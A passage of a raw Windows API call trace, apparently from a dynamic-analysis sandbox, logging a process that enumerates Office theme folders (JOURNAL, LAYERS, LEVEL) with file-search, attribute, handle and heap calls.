Size=0x80) returned 0xf9c628 [0061.629] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0061.629] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0061.629] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0061.629] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0061.629] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfa8130 [0061.629] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfabef8 [0061.630] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0061.630] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x47ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0061.630] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0061.630] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0061.630] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0061.630] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0061.630] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0061.630] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfa8150 [0061.630] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfac000 [0061.630] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0061.630] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x47ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0061.630] GetLastError () returned 0x12 [0061.630] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d220 [0061.630] FindClose (in: hFindFile=0x60d160 | out: hFindFile=0x60d160) returned 1 [0061.630] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x567be5d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0061.630] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8239a00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x66220ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8239a00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xba32, dwReserved0=0x0, dwReserved1=0x0, cFileName="JOURNAL.ELM", cAlternateFileName="")) returned 1 [0061.630] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x567e4730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1f3, dwReserved0=0x0, dwReserved1=0x0, cFileName="JOURNAL.INF", cAlternateFileName="")) returned 1 [0061.630] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0061.630] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x47ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0061.630] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x47ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0061.630] GetLastError () returned 0x12 [0061.630] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfabad8) returned 1 [0061.630] FindClose (in: hFindFile=0x60d220 | out: hFindFile=0x60d220) returned 1 [0061.631] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfabbe0) returned 1 [0061.631] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfa4280) returned 1 [0061.631] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x567e4730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LAYERS", cAlternateFileName="")) returned 1 [0061.631] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0061.631] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers"), fInfoLevelId=0x0, lpFileInformation=0x174ee50 | out: lpFileInformation=0x174ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x567e4730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0061.632] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x190 [0061.632] SetFileTime (hFile=0x190, lpCreationTime=0x0, lpLastAccessTime=0x174ee94, lpLastWriteTime=0x174ee94) returned 0 [0061.632] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0xfadb90 [0061.632] DeviceIoControl (in: hDevice=0x190, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xfadb90, nOutBufferSize=0x4000, lpBytesReturned=0x174eeec, lpOverlapped=0x0 | out: lpOutBuffer=0xfadb90, lpBytesReturned=0x174eeec, lpOverlapped=0x0) returned 0 [0061.632] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfadb90) returned 1 [0061.632] NtClose (Handle=0x190) returned 0x0 [0061.632] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0061.632] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0061.632] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dc78 [0061.633] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfa4280 [0061.633] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0061.633] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfabbe0 [0061.633] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d220 [0061.633] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x567e4730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0061.633] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x954c700, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x567e4730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x954c700, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xe743, dwReserved0=0x0, dwReserved1=0x0, cFileName="LAYERS.ELM", cAlternateFileName="")) returned 1 [0061.633] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0061.633] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0061.633] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0061.633] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0061.633] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0061.633] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfabad8 [0061.633] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dc78) returned 1 [0061.633] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfa8170 [0061.633] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfac108 [0061.633] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0061.633] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x66247150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x215, dwReserved0=0x0, dwReserved1=0x0, cFileName="LAYERS.INF", cAlternateFileName="")) returned 1 [0061.633] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0061.633] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0061.633] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0061.633] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0061.633] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0061.633] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfa8190 [0061.633] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfac210 [0061.634] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0061.634] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x67b, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0061.634] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0061.634] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0061.634] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0061.634] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0061.634] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0061.634] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfa81b0 [0061.634] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfac318 [0061.634] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0061.634] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xaf32, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0061.634] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0061.634] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0061.634] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0061.634] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0061.634] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0061.634] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfa81d0 [0061.634] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfac420 [0061.634] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0061.634] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xaf32, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0061.634] GetLastError () returned 0x12 [0061.634] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d160 [0061.634] FindClose (in: hFindFile=0x60d220 | out: hFindFile=0x60d220) returned 1 [0061.635] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x567e4730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0061.635] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x954c700, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x567e4730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x954c700, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xe743, dwReserved0=0x0, dwReserved1=0x0, cFileName="LAYERS.ELM", cAlternateFileName="")) returned 1 [0061.635] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x66247150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x215, dwReserved0=0x0, dwReserved1=0x0, cFileName="LAYERS.INF", cAlternateFileName="")) returned 1 [0061.635] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x67b, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0061.635] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xaf32, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0061.635] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xaf32, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0061.635] GetLastError () returned 0x12 [0061.635] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfabbe0) returned 1 [0061.635] FindClose (in: hFindFile=0x60d160 | out: hFindFile=0x60d160) returned 1 [0061.635] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfabad8) returned 1 [0061.635] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfa4280) returned 1 [0061.635] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x66247150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x66247150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LEVEL", cAlternateFileName="")) returned 1 [0061.635] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0061.635] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level"), fInfoLevelId=0x0, lpFileInformation=0x174ee50 | out: lpFileInformation=0x174ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x66247150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x66247150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0061.637] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x184 [0061.638] SetFileTime (hFile=0x184, lpCreationTime=0x0, lpLastAccessTime=0x174ee94, lpLastWriteTime=0x174ee94) returned 0 [0061.638] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0xfadb90 [0061.638] DeviceIoControl (in: hDevice=0x184, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xfadb90, nOutBufferSize=0x4000, lpBytesReturned=0x174eeec, lpOverlapped=0x0 | out: lpOutBuffer=0xfadb90, lpBytesReturned=0x174eeec, lpOverlapped=0x0) returned 0 [0061.638] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfadb90) returned 1 [0061.638] NtClose (Handle=0x184) returned 0x0 [0061.638] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0061.638] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0061.638] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dc78 [0061.638] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0061.638] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d160 [0061.638] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x66247150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x66247150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0061.638] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa85f400, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x66247150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa85f400, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xe2ec, dwReserved0=0x0, dwReserved1=0x0, cFileName="LEVEL.ELM", cAlternateFileName="")) returned 1 [0061.638] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dd00 [0061.638] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dd00) returned 1 [0061.638] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dd00 [0061.638] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dd00) returned 1 [0061.638] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dd00 [0061.638] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfa4280 [0061.638] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dc78) returned 1 [0061.638] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfa81f0 [0061.638] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfabad8 [0061.639] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dd00) returned 1 [0061.639] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x66247150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x20e, dwReserved0=0x0, dwReserved1=0x0, cFileName="LEVEL.INF", cAlternateFileName="")) returned 1 [0061.639] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dd00 [0061.639] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, 